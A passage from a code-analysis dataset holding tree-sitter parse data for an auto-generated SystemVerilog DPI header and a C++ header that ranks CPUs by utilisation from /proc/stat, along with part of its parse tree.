8}, "end_point": {"row": 30, "column": 13}}, {"id": 40, "type": "field_declaration", "text": "int tx_data;", "parent": 35, "children": [41, 42], "start_point": {"row": 31, "column": 4}, "end_point": {"row": 31, "column": 16}}, {"id": 41, "type": "primitive_type", "text": "int", "parent": 40, "children": [], "start_point": {"row": 31, "column": 4}, "end_point": {"row": 31, "column": 7}}, {"id": 42, "type": "field_identifier", "text": "tx_data", "parent": 40, "children": [], "start_point": {"row": 31, "column": 8}, "end_point": {"row": 31, "column": 15}}, {"id": 43, "type": "type_identifier", "text": "tx_request_type", "parent": 33, "children": [], "start_point": {"row": 32, "column": 2}, "end_point": {"row": 32, "column": 17}}, {"id": 44, "type": "declaration", "text": "DPI_LINK_DECL DPI_DLLESPEC", "parent": 13, "children": [45, 46], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 34, "column": 26}}, {"id": 45, "type": "type_identifier", "text": "DPI_LINK_DECL", "parent": 44, "children": [], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 34, "column": 13}}, {"id": 46, "type": "identifier", "text": "DPI_DLLESPEC", "parent": 44, "children": [], "start_point": {"row": 34, "column": 14}, "end_point": {"row": 34, "column": 26}}, {"id": 47, "type": "declaration", "text": "void\ninit_driver();", "parent": 13, "children": [48, 49], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 36, "column": 14}}, {"id": 48, "type": "primitive_type", "text": "void", "parent": 47, "children": [], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 35, "column": 4}}, {"id": 49, "type": "function_declarator", "text": "init_driver()", "parent": 47, "children": [50, 51], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 36, "column": 13}}, {"id": 50, "type": "identifier", "text": "init_driver", "parent": 49, "children": [], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 36, "column": 11}}, {"id": 51, "type": "parameter_list", "text": "()", "parent": 49, "children": [], "start_point": {"row": 36, "column": 11}, "end_point": {"row": 36, "column": 13}}, {"id": 52, "type": "declaration", "text": "DPI_LINK_DECL DPI_DLLESPEC", "parent": 13, "children": [53, 54], "start_point": {"row": 38, "column": 0}, "end_point": {"row": 38, "column": 26}}, {"id": 53, "type": "type_identifier", "text": "DPI_LINK_DECL", "parent": 52, "children": [], "start_point": {"row": 38, "column": 0}, "end_point": {"row": 38, "column": 13}}, {"id": 54, "type": "identifier", "text": "DPI_DLLESPEC", "parent": 52, "children": [], "start_point": {"row": 38, "column": 14}, "end_point": {"row": 38, "column": 26}}, {"id": 55, "type": "declaration", "text": "void\ntransfer_rx(\n rx_response_type* req);", "parent": 13, "children": [56, 57], "start_point": {"row": 39, "column": 0}, "end_point": {"row": 41, "column": 27}}, {"id": 56, "type": "primitive_type", "text": "void", "parent": 55, "children": [], "start_point": {"row": 39, "column": 0}, "end_point": {"row": 39, "column": 4}}, {"id": 57, "type": "function_declarator", "text": "transfer_rx(\n rx_response_type* req)", "parent": 55, "children": [58, 59], "start_point": {"row": 40, "column": 0}, "end_point": {"row": 41, "column": 26}}, {"id": 58, "type": "identifier", "text": "transfer_rx", "parent": 57, "children": [], "start_point": {"row": 40, "column": 0}, "end_point": {"row": 40, "column": 11}}, {"id": 59, "type": "parameter_list", "text": "(\n rx_response_type* req)", "parent": 57, "children": [60], "start_point": {"row": 40, "column": 11}, "end_point": {"row": 41, "column": 26}}, {"id": 60, "type": "parameter_declaration", "text": "rx_response_type* req", "parent": 59, "children": [61, 62], "start_point": {"row": 41, "column": 4}, "end_point": {"row": 41, "column": 25}}, {"id": 61, "type": "type_identifier", "text": "rx_response_type", "parent": 60, "children": [], "start_point": {"row": 41, "column": 4}, "end_point": {"row": 41, "column": 20}}, {"id": 62, "type": "pointer_declarator", "text": "* req", "parent": 60, "children": [63, 64], "start_point": {"row": 41, "column": 20}, "end_point": {"row": 41, "column": 25}}, {"id": 63, "type": "*", "text": "*", "parent": 62, "children": [], "start_point": {"row": 41, "column": 20}, "end_point": {"row": 41, "column": 21}}, {"id": 64, "type": "identifier", "text": "req", "parent": 62, "children": [], "start_point": {"row": 41, "column": 22}, "end_point": {"row": 41, "column": 25}}, {"id": 65, "type": "declaration", "text": "DPI_LINK_DECL DPI_DLLESPEC", "parent": 13, "children": [66, 67], "start_point": {"row": 43, "column": 0}, "end_point": {"row": 43, "column": 26}}, {"id": 66, "type": "type_identifier", "text": "DPI_LINK_DECL", "parent": 65, "children": [], "start_point": {"row": 43, "column": 0}, "end_point": {"row": 43, "column": 13}}, {"id": 67, "type": "identifier", "text": "DPI_DLLESPEC", "parent": 65, "children": [], "start_point": {"row": 43, "column": 14}, "end_point": {"row": 43, "column": 26}}, {"id": 68, "type": "declaration", "text": "void\ntransfer_tx(\n const tx_request_type* req);", "parent": 13, "children": [69, 70], "start_point": {"row": 44, "column": 0}, "end_point": {"row": 46, "column": 32}}, {"id": 69, "type": "primitive_type", "text": "void", "parent": 68, "children": [], "start_point": {"row": 44, "column": 0}, "end_point": {"row": 44, "column": 4}}, {"id": 70, "type": "function_declarator", "text": "transfer_tx(\n const tx_request_type* req)", "parent": 68, "children": [71, 72], "start_point": {"row": 45, "column": 0}, "end_point": {"row": 46, "column": 31}}, {"id": 71, "type": "identifier", "text": "transfer_tx", "parent": 70, "children": [], "start_point": {"row": 45, "column": 0}, "end_point": {"row": 45, "column": 11}}, {"id": 72, "type": "parameter_list", "text": "(\n const tx_request_type* req)", "parent": 70, "children": [73], "start_point": {"row": 45, "column": 11}, "end_point": {"row": 46, "column": 31}}, {"id": 73, "type": "parameter_declaration", "text": "const tx_request_type* req", "parent": 72, "children": [74, 75], "start_point": {"row": 46, "column": 4}, "end_point": {"row": 46, "column": 30}}, {"id": 74, "type": "type_identifier", "text": "tx_request_type", "parent": 73, "children": [], "start_point": {"row": 46, "column": 10}, "end_point": {"row": 46, "column": 25}}, {"id": 75, "type": "pointer_declarator", "text": "* req", "parent": 73, "children": [76, 77], "start_point": {"row": 46, "column": 25}, "end_point": {"row": 46, "column": 30}}, {"id": 76, "type": "*", "text": "*", "parent": 75, "children": [], "start_point": {"row": 46, "column": 25}, "end_point": {"row": 46, "column": 26}}, {"id": 77, "type": "identifier", "text": "req", "parent": 75, "children": [], "start_point": {"row": 46, "column": 27}, "end_point": {"row": 46, "column": 30}}, {"id": 78, "type": "#endif", "text": "#endif", "parent": 6, "children": [], "start_point": {"row": 48, "column": 0}, "end_point": {"row": 48, "column": 6}}, {"id": 79, "type": "#endif", "text": "", "parent": 0, "children": [], "start_point": {"row": 48, "column": 6}, "end_point": {"row": 48, "column": 6}}]}, "node_categories": {"declarations": {"functions": [49, 57, 70], "variables": [22, 26, 29, 33, 37, 40, 44, 47, 52, 55, 60, 65, 68, 73], "classes": [24, 25, 35, 36], "imports": [19, 20], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 6, 7, 8, 11, 17, 28, 31, 32, 39, 42, 43, 45, 46, 50, 53, 54, 58, 61, 64, 66, 67, 71, 74, 77, 78, 79], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [21], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 49, "universal_type": "function", "name": "unknown", "text_snippet": "init_driver()"}, {"node_id": 57, "universal_type": "function", "name": "unknown", "text_snippet": "transfer_rx(\n rx_response_type* req)"}, {"node_id": 70, "universal_type": "function", "name": "unknown", "text_snippet": "transfer_tx(\n const tx_request_type* req)"}], "class_declarations": [{"node_id": 24, "universal_type": "class", "name": "{", "text_snippet": "struct {\n int rxdv;\n int rx_data;\n}"}, {"node_id": 25, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 35, "universal_type": "class", "name": "{", "text_snippet": "struct {\n int tx_en;\n int tx_data;\n}"}, {"node_id": 36, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}], "import_statements": [{"node_id": 19, "text": "#include \"svdpi.h\"\n"}, {"node_id": 20, "text": "#include"}]}, "original_source_code": "/* MTI_DPI */\n\n/*\n * Copyright 2002-2008 Mentor Graphics Corporation.\n *\n * Note:\n * This file is automatically generated.\n * Please do not edit this file - you will lose your edits.\n *\n * Settings when this file was generated:\n * PLATFORM = 'linux_x86_64'\n */\n#ifndef INCLUDED_MAC_FEDRIVER\n#define INCLUDED_MAC_FEDRIVER\n\n#ifdef __cplusplus\n#define DPI_LINK_DECL extern \"C\" \n#else\n#define DPI_LINK_DECL \n#endif\n\n#include \"svdpi.h\"\n\n\ntypedef struct {\n int rxdv;\n int rx_data;\n} rx_response_type;\n\ntypedef struct {\n int tx_en;\n int tx_data;\n} tx_request_type;\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ninit_driver();\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ntransfer_rx(\n rx_response_type* req);\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ntransfer_tx(\n const tx_request_type* req);\n\n#endif \n"}
81,144
c
#ifndef _STAT_H_ #define _STAT_H_ #include <stdio.h> #include <sched.h> #include <vector> #include <list> #include "sched.h" struct cpu_util_t { unsigned long long tdiff; unsigned int cpu; }; static bool cmp_sort(const cpu_util_t& first, const cpu_util_t& second) { return (first.tdiff < second.tdiff); } class stat_t { private: FILE *fd; std::vector< unsigned long long > lasttimes; public: explicit stat_t(unsigned cpuc) : fd(fopen("/proc/stat", "r")), lasttimes(cpuc) { if (!fd) { std::cerr << "ERR: couldn't open '/proc/stat'" << std::endl; return; } fseek(fd, 0, SEEK_SET); char *line = NULL; size_t len = 0; ssize_t read; // first line is a don't care -> summary getline(&line, &len, fd); unsigned t_cpu = 0; while ((read = getline(&line, &len, fd)) != -1 && t_cpu < lasttimes.size()) { char *t_line = line; t_line += 3; // cpu t_line += t_cpu / 10; // NUM ++t_line; // empty space unsigned long long utime = strtoull(t_line, &t_line, 10); ++t_line; unsigned long long ntime = strtoull(t_line, &t_line, 10); ++t_line; unsigned long long stime = strtoull(t_line, &t_line, 10); this->lasttimes[ t_cpu ] = utime + ntime + stime; ++t_cpu; } free(line); } ~stat_t(void) { if (this->fd) fclose(this->fd); } cpuset_t lowest_utilization(cpuset_t& avail_cpu_mask, unsigned cpu_req_amount) { cpuset_t mask(lasttimes.size()); if (!this->fd) return mask; fseek(this->fd, 0, SEEK_SET); char *line = NULL; size_t len = 0; ssize_t read; // first line is a don't care -> summary getline(&line, &len, this->fd); std::list< cpu_util_t > g; unsigned t_cpu = 0; while ((read = getline(&line, &len, this->fd)) != -1 && t_cpu < lasttimes.size()) { char *t_line = line; t_line += 3; // cpu t_line += t_cpu / 10; // NUM ++t_line; // empty space unsigned long long utime = strtoull(t_line, &t_line, 10); ++t_line; unsigned long long ntime = strtoull(t_line, &t_line, 10); ++t_line; unsigned long long stime = strtoull(t_line, &t_line, 10); unsigned long long cmp_diff = (utime + ntime + stime) - this->lasttimes[ t_cpu ]; this->lasttimes[ t_cpu ] = utime + ntime + stime; if (avail_cpu_mask.isset_bit(t_cpu)) g.push_back({ cmp_diff, t_cpu }); ++t_cpu; } free(line); g.sort(cmp_sort); for (unsigned c = 0; c < cpu_req_amount && !g.empty(); ++c) { mask.set_bit(g.front().cpu); g.pop_front(); } return mask; } }; #endif /* #ifndef _STAT_H_ */
26.82
98
(translation_unit) "#ifndef _STAT_H_\n#define _STAT_H_\n\n#include <stdio.h>\n#include <sched.h>\n#include <vector>\n#include <list>\n#include "sched.h"\n\nstruct cpu_util_t {\n unsigned long long tdiff;\n unsigned int cpu;\n};\n\nstatic bool cmp_sort(const cpu_util_t& first, const cpu_util_t& second)\n{\n return (first.tdiff < second.tdiff);\n}\n\nclass stat_t {\nprivate:\n FILE *fd;\n std::vector< unsigned long long > lasttimes;\n\npublic:\n explicit stat_t(unsigned cpuc) :\n fd(fopen("/proc/stat", "r")),\n lasttimes(cpuc)\n {\n if (!fd) {\n std::cerr << "ERR: couldn't open '/proc/stat'" << std::endl;\n return;\n }\n\n fseek(fd, 0, SEEK_SET);\n\n char *line = NULL;\n size_t len = 0;\n ssize_t read;\n // first line is a don't care -> summary\n getline(&line, &len, fd);\n\n unsigned t_cpu = 0;\n while ((read = getline(&line, &len, fd)) != -1\n && t_cpu < lasttimes.size()) {\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n ++t_cpu;\n }\n free(line);\n }\n ~stat_t(void)\n {\n if (this->fd)\n fclose(this->fd);\n }\n\n cpuset_t lowest_utilization(cpuset_t& avail_cpu_mask,\n unsigned cpu_req_amount)\n {\n cpuset_t mask(lasttimes.size());\n if (!this->fd)\n return mask;\n\n fseek(this->fd, 0, SEEK_SET);\n\n char *line = NULL;\n size_t len = 0;\n ssize_t read;\n // first line is a don't care -> summary\n getline(&line, &len, this->fd);\n\n std::list< cpu_util_t > g;\n unsigned t_cpu = 0;\n while ((read = getline(&line, &len, this->fd)) != -1\n && t_cpu < lasttimes.size()) {\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n\n unsigned long long cmp_diff = (utime + ntime + stime) - this->lasttimes[ t_cpu ];\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n\n if (avail_cpu_mask.isset_bit(t_cpu))\n g.push_back({ cmp_diff, t_cpu });\n\n ++t_cpu;\n }\n free(line);\n\n g.sort(cmp_sort);\n\n for (unsigned c = 0; c < cpu_req_amount\n && !g.empty(); ++c) {\n mask.set_bit(g.front().cpu);\n g.pop_front();\n }\n\n return mask;\n }\n};\n\n#endif /* #ifndef _STAT_H_ */\n" (preproc_ifdef) "#ifndef _STAT_H_\n#define _STAT_H_\n\n#include <stdio.h>\n#include <sched.h>\n#include <vector>\n#include <list>\n#include "sched.h"\n\nstruct cpu_util_t {\n unsigned long long tdiff;\n unsigned int cpu;\n};\n\nstatic bool cmp_sort(const cpu_util_t& first, const cpu_util_t& second)\n{\n return (first.tdiff < second.tdiff);\n}\n\nclass stat_t {\nprivate:\n FILE *fd;\n std::vector< unsigned long long > lasttimes;\n\npublic:\n explicit stat_t(unsigned cpuc) :\n fd(fopen("/proc/stat", "r")),\n lasttimes(cpuc)\n {\n if (!fd) {\n std::cerr << "ERR: couldn't open '/proc/stat'" << std::endl;\n return;\n }\n\n fseek(fd, 0, SEEK_SET);\n\n char *line = NULL;\n size_t len = 0;\n ssize_t read;\n // first line is a don't care -> summary\n getline(&line, &len, fd);\n\n unsigned t_cpu = 0;\n while ((read = getline(&line, &len, fd)) != -1\n && t_cpu < lasttimes.size()) {\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n ++t_cpu;\n }\n free(line);\n }\n ~stat_t(void)\n {\n if (this->fd)\n fclose(this->fd);\n }\n\n cpuset_t lowest_utilization(cpuset_t& avail_cpu_mask,\n unsigned cpu_req_amount)\n {\n cpuset_t mask(lasttimes.size());\n if (!this->fd)\n return mask;\n\n fseek(this->fd, 0, SEEK_SET);\n\n char *line = NULL;\n size_t len = 0;\n ssize_t read;\n // first line is a don't care -> summary\n getline(&line, &len, this->fd);\n\n std::list< cpu_util_t > g;\n unsigned t_cpu = 0;\n while ((read = getline(&line, &len, this->fd)) != -1\n && t_cpu < lasttimes.size()) {\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n\n unsigned long long cmp_diff = (utime + ntime + stime) - this->lasttimes[ t_cpu ];\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n\n if (avail_cpu_mask.isset_bit(t_cpu))\n g.push_back({ cmp_diff, t_cpu });\n\n ++t_cpu;\n }\n free(line);\n\n g.sort(cmp_sort);\n\n for (unsigned c = 0; c < cpu_req_amount\n && !g.empty(); ++c) {\n mask.set_bit(g.front().cpu);\n g.pop_front();\n }\n\n return mask;\n }\n};\n\n#endif" (#ifndef) "#ifndef" (identifier) "_STAT_H_" (preproc_def) "#define _STAT_H_\n" (#define) "#define" (identifier) "_STAT_H_" (preproc_include) "#include <stdio.h>\n" (#include) "#include" (system_lib_string) "<stdio.h>" (preproc_include) "#include <sched.h>\n" (#include) "#include" (system_lib_string) "<sched.h>" (preproc_include) "#include <vector>\n" (#include) "#include" (system_lib_string) "<vector>" (preproc_include) "#include <list>\n" (#include) "#include" (system_lib_string) "<list>" (preproc_include) "#include "sched.h"\n" (#include) "#include" (string_literal) ""sched.h"" (") """ (string_content) "sched.h" (") """ (struct_specifier) "struct cpu_util_t {\n unsigned long long tdiff;\n unsigned int cpu;\n}" (struct) "struct" (type_identifier) "cpu_util_t" (field_declaration_list) "{\n unsigned long long tdiff;\n unsigned int cpu;\n}" ({) "{" (field_declaration) "unsigned long long tdiff;" (sized_type_specifier) "unsigned long long" (unsigned) "unsigned" (long) "long" (long) "long" (field_identifier) "tdiff" (;) ";" (field_declaration) "unsigned int cpu;" (sized_type_specifier) "unsigned int" (unsigned) "unsigned" (primitive_type) "int" (field_identifier) "cpu" (;) ";" (}) "}" (;) ";" (function_definition) "static bool cmp_sort(const cpu_util_t& first, const cpu_util_t& second)\n{\n return (first.tdiff < second.tdiff);\n}" (storage_class_specifier) "static" (static) "static" (primitive_type) "bool" (function_declarator) "cmp_sort(const cpu_util_t& first, const cpu_util_t& second)" (identifier) "cmp_sort" (parameter_list) "(const cpu_util_t& first, const cpu_util_t& second)" (() "(" (parameter_declaration) "const cpu_util_t& first" (type_qualifier) "const" (const) "const" (type_identifier) "cpu_util_t" (ERROR) "&" (&) "&" (identifier) "first" (,) "," (parameter_declaration) "const cpu_util_t& second" (type_qualifier) "const" (const) "const" (type_identifier) "cpu_util_t" (ERROR) "&" (&) "&" (identifier) "second" ()) ")" (compound_statement) "{\n return (first.tdiff < second.tdiff);\n}" ({) "{" (return_statement) "return (first.tdiff < second.tdiff);" (return) "return" (parenthesized_expression) "(first.tdiff < second.tdiff)" (() "(" (binary_expression) "first.tdiff < second.tdiff" (field_expression) "first.tdiff" (identifier) "first" (.) "." (field_identifier) "tdiff" (<) "<" (field_expression) "second.tdiff" (identifier) "second" (.) "." (field_identifier) "tdiff" ()) ")" (;) ";" (}) "}" (function_definition) "class stat_t {\nprivate:\n FILE *fd;\n std::vector< unsigned long long > lasttimes;\n\npublic:\n explicit stat_t(unsigned cpuc) :\n fd(fopen("/proc/stat", "r")),\n lasttimes(cpuc)\n {\n if (!fd) {\n std::cerr << "ERR: couldn't open '/proc/stat'" << std::endl;\n return;\n }\n\n fseek(fd, 0, SEEK_SET);\n\n char *line = NULL;\n size_t len = 0;\n ssize_t read;\n // first line is a don't care -> summary\n getline(&line, &len, fd);\n\n unsigned t_cpu = 0;\n while ((read = getline(&line, &len, fd)) != -1\n && t_cpu < lasttimes.size()) {\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n ++t_cpu;\n }\n free(line);\n }\n ~stat_t(void)\n {\n if (this->fd)\n fclose(this->fd);\n }\n\n cpuset_t lowest_utilization(cpuset_t& avail_cpu_mask,\n unsigned cpu_req_amount)\n {\n cpuset_t mask(lasttimes.size());\n if (!this->fd)\n return mask;\n\n fseek(this->fd, 0, SEEK_SET);\n\n char *line = NULL;\n size_t len = 0;\n ssize_t read;\n // first line is a don't care -> summary\n getline(&line, &len, this->fd);\n\n std::list< cpu_util_t > g;\n unsigned t_cpu = 0;\n while ((read = getline(&line, &len, this->fd)) != -1\n && t_cpu < lasttimes.size()) {\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n\n unsigned long long cmp_diff = (utime + ntime + stime) - this->lasttimes[ t_cpu ];\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n\n if (avail_cpu_mask.isset_bit(t_cpu))\n g.push_back({ cmp_diff, t_cpu });\n\n ++t_cpu;\n }\n free(line);\n\n g.sort(cmp_sort);\n\n for (unsigned c = 0; c < cpu_req_amount\n && !g.empty(); ++c) {\n mask.set_bit(g.front().cpu);\n g.pop_front();\n }\n\n return mask;\n }\n}" (type_identifier) "class" (identifier) "stat_t" (compound_statement) "{\nprivate:\n FILE *fd;\n std::vector< unsigned long long > lasttimes;\n\npublic:\n explicit stat_t(unsigned cpuc) :\n fd(fopen("/proc/stat", "r")),\n lasttimes(cpuc)\n {\n if (!fd) {\n std::cerr << "ERR: couldn't open '/proc/stat'" << std::endl;\n return;\n }\n\n fseek(fd, 0, SEEK_SET);\n\n char *line = NULL;\n size_t len = 0;\n ssize_t read;\n // first line is a don't care -> summary\n getline(&line, &len, fd);\n\n unsigned t_cpu = 0;\n while ((read = getline(&line, &len, fd)) != -1\n && t_cpu < lasttimes.size()) {\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n ++t_cpu;\n }\n free(line);\n }\n ~stat_t(void)\n {\n if (this->fd)\n fclose(this->fd);\n }\n\n cpuset_t lowest_utilization(cpuset_t& avail_cpu_mask,\n unsigned cpu_req_amount)\n {\n cpuset_t mask(lasttimes.size());\n if (!this->fd)\n return mask;\n\n fseek(this->fd, 0, SEEK_SET);\n\n char *line = NULL;\n size_t len = 0;\n ssize_t read;\n // first line is a don't care -> summary\n getline(&line, &len, this->fd);\n\n std::list< cpu_util_t > g;\n unsigned t_cpu = 0;\n while ((read = getline(&line, &len, this->fd)) != -1\n && t_cpu < lasttimes.size()) {\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n\n unsigned long long cmp_diff = (utime + ntime + stime) - this->lasttimes[ t_cpu ];\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n\n if (avail_cpu_mask.isset_bit(t_cpu))\n g.push_back({ cmp_diff, t_cpu });\n\n ++t_cpu;\n }\n free(line);\n\n g.sort(cmp_sort);\n\n for (unsigned c = 0; c < cpu_req_amount\n && !g.empty(); ++c) {\n mask.set_bit(g.front().cpu);\n g.pop_front();\n }\n\n return mask;\n }\n}" ({) "{" (labeled_statement) "private:\n FILE *fd;" (statement_identifier) "private" (:) ":" (declaration) "FILE *fd;" (type_identifier) "FILE" (pointer_declarator) "*fd" (*) "*" (identifier) "fd" (;) ";" (labeled_statement) "std::vector< unsigned long long > lasttimes;" (statement_identifier) "std" (:) ":" (ERROR) ":vector< unsigned long" (:) ":" (binary_expression) "vector< unsigned" (identifier) "vector" (<) "<" (identifier) "unsigned" (identifier) "long" (declaration) "long > lasttimes;" (sized_type_specifier) "long" (long) "long" (ERROR) ">" (>) ">" (identifier) "lasttimes" (;) ";" (labeled_statement) "public:\n explicit stat_t(unsigned cpuc) :\n fd(fopen("/proc/stat", "r")),\n lasttimes(cpuc)" (statement_identifier) "public" (ERROR) ":\n explicit stat_t(unsigned cpuc)" (:) ":" (type_identifier) "explicit" (function_declarator) "stat_t(unsigned cpuc)" (identifier) "stat_t" (parameter_list) "(unsigned cpuc)" (() "(" (parameter_declaration) "unsigned cpuc" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (identifier) "cpuc" ()) ")" (:) ":" (expression_statement) "fd(fopen("/proc/stat", "r")),\n lasttimes(cpuc)" (comma_expression) "fd(fopen("/proc/stat", "r")),\n lasttimes(cpuc)" (call_expression) "fd(fopen("/proc/stat", "r"))" (identifier) "fd" (argument_list) "(fopen("/proc/stat", "r"))" (() "(" (call_expression) "fopen("/proc/stat", "r")" (identifier) "fopen" (argument_list) "("/proc/stat", "r")" (() "(" (string_literal) ""/proc/stat"" (") """ (string_content) "/proc/stat" (") """ (,) "," (string_literal) ""r"" (") """ (string_content) "r" (") """ ()) ")" ()) ")" (,) "," (call_expression) "lasttimes(cpuc)" (identifier) "lasttimes" (argument_list) "(cpuc)" (() "(" (identifier) "cpuc" ()) ")" (;) "" (compound_statement) "{\n if (!fd) {\n std::cerr << "ERR: couldn't open '/proc/stat'" << std::endl;\n return;\n }\n\n fseek(fd, 0, SEEK_SET);\n\n char *line = NULL;\n size_t len = 0;\n ssize_t read;\n // first line is a don't care -> summary\n getline(&line, &len, fd);\n\n unsigned t_cpu = 0;\n while ((read = getline(&line, &len, fd)) != -1\n && t_cpu < lasttimes.size()) {\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n ++t_cpu;\n }\n free(line);\n }" ({) "{" (if_statement) "if (!fd) {\n std::cerr << "ERR: couldn't open '/proc/stat'" << std::endl;\n return;\n }" (if) "if" (parenthesized_expression) "(!fd)" (() "(" (unary_expression) "!fd" (!) "!" (identifier) "fd" ()) ")" (compound_statement) "{\n std::cerr << "ERR: couldn't open '/proc/stat'" << std::endl;\n return;\n }" ({) "{" (labeled_statement) "std::cerr << "ERR: couldn't open '/proc/stat'" << std::endl;" (statement_identifier) "std" (ERROR) "::cerr << "ERR: couldn't open '/proc/stat'" << std:" (:) ":" (:) ":" (binary_expression) "cerr << "ERR: couldn't open '/proc/stat'" << std" (binary_expression) "cerr << "ERR: couldn't open '/proc/stat'"" (identifier) "cerr" (<<) "<<" (string_literal) ""ERR: couldn't open '/proc/stat'"" (") """ (string_content) "ERR: couldn't open '/proc/stat'" (") """ (<<) "<<" (identifier) "std" (:) ":" (:) ":" (expression_statement) "endl;" (identifier) "endl" (;) ";" (return_statement) "return;" (return) "return" (;) ";" (}) "}" (expression_statement) "fseek(fd, 0, SEEK_SET);" (call_expression) "fseek(fd, 0, SEEK_SET)" (identifier) "fseek" (argument_list) "(fd, 0, SEEK_SET)" (() "(" (identifier) "fd" (,) "," (number_literal) "0" (,) "," (identifier) "SEEK_SET" ()) ")" (;) ";" (declaration) "char *line = NULL;" (primitive_type) "char" (init_declarator) "*line = NULL" (pointer_declarator) "*line" (*) "*" (identifier) "line" (=) "=" (null) "NULL" (NULL) "NULL" (;) ";" (declaration) "size_t len = 0;" (primitive_type) "size_t" (init_declarator) "len = 0" (identifier) "len" (=) "=" (number_literal) "0" (;) ";" (declaration) "ssize_t read;" (primitive_type) "ssize_t" (identifier) "read" (;) ";" (comment) "// first line is a don't care -> summary" (expression_statement) "getline(&line, &len, fd);" (call_expression) "getline(&line, &len, fd)" (identifier) "getline" (argument_list) "(&line, &len, fd)" (() "(" (pointer_expression) "&line" (&) "&" (identifier) "line" (,) "," (pointer_expression) "&len" (&) "&" (identifier) "len" (,) "," (identifier) "fd" ()) ")" (;) ";" (declaration) "unsigned t_cpu = 0;" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (init_declarator) "t_cpu = 0" (identifier) "t_cpu" (=) "=" (number_literal) "0" (;) ";" (while_statement) "while ((read = getline(&line, &len, fd)) != -1\n && t_cpu < lasttimes.size()) {\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n ++t_cpu;\n }" (while) "while" (parenthesized_expression) "((read = getline(&line, &len, fd)) != -1\n && t_cpu < lasttimes.size())" (() "(" (binary_expression) "(read = getline(&line, &len, fd)) != -1\n && t_cpu < lasttimes.size()" (binary_expression) "(read = getline(&line, &len, fd)) != -1" (parenthesized_expression) "(read = getline(&line, &len, fd))" (() "(" (assignment_expression) "read = getline(&line, &len, fd)" (identifier) "read" (=) "=" (call_expression) "getline(&line, &len, fd)" (identifier) "getline" (argument_list) "(&line, &len, fd)" (() "(" (pointer_expression) "&line" (&) "&" (identifier) "line" (,) "," (pointer_expression) 